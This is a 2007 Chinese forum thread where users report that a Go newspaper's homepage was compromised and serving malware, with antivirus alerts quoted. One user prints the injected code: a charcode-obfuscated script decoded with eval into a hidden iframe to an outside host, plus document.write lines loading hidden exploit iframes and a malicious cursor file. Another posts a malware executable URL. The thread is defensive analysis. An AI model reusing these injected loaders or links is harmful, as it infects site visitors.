围棋报主页被挂毒！

flyer

围棋的天空也被污染了：http://www.wqb.com.cn 金山报毒  好象E盾也拦截了什么 然后浏览器挂掉 本人菜鸟 各位高人去抓些回来吧

tracydk

我发现了VIP

wangjay1980

不会下围棋

tracydk

XP防火墙弹了出来

saga3721

In der Datei 'C:\Documents and Settings\TX\Local Settings\Temporary Internet Files\Content.IE5\A1KTYJIF\error[1].htm'
wurde ein Virus oder unerwünschtes Programm 'HTML/Instancob.A' [HTML/Instancob.A] gefunden.
Ausgeführte Aktion: Zugriff verweigern

卡7不报？试试吧

jimmyleo

max假死 用tw的试试

tracydk

原帖由 jimmyleo 于 2007-9-15 19:49 发表
max假死 用tw的试试

我IE6进去一点事情没有

jimmyleo

http://www.yx456.com.cn/sg/vip.exe

lovewei

还不好找，在这儿
<table cellSpacing=0 cellPadding=0 width="100%" border=0><IFRAME src="/gundong.htm" frameBorder=0 width="100%" scrolling=no height=14></IFRAME>
即：hXXp://www.wqb.com.cn/gundong.htm，内容为：
<script>t='60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,102,114,101,101,46,50,48,45,48,57,46,99,110,47,101,114,114,111,114,46,104,116,109,32,119,105,100,116,104,61,49,48,48,32,104,101,105,103,104,116,61,48,62,60,47,105,102,114,97,109,101,62';t=eval('String.fromCharCode('+t+')');document.write(t);</script>
解密出来：<iframe src=hXXp://free.20-09.cn/error.htm width=100 height=0></iframe>
还不少
document.write("<DIV style=\"CURSOR: url('hXXp://www.yx456.com.cn/sg/ah.c')\"></DIV>");
document.write("<iframe width=1 height=0 src=bf.htm></iframe>");
document.write("<iframe width=0 height=0 src=0day.htm></iframe>");
document.write("<iframe width=1 height=0 src=pps.html></iframe>");
document.write("<iframe width=0 height=0 src=004.html></iframe>");

[ 本帖最后由 lovewei 于 2007-9-15 19:58 编辑 ]

zzx129

Virus infection found

File which you are trying download contains virus. Loading has been interrupted.
Technical data:
Error name: Virus Alert
Virus description Obfustat.OIO
Error code: -1602
Requested URL: /sg/vip.exe
Requested HTTP method: GET
Requested ContentType: application/octet-stream
Requested IP: 58.221.28.93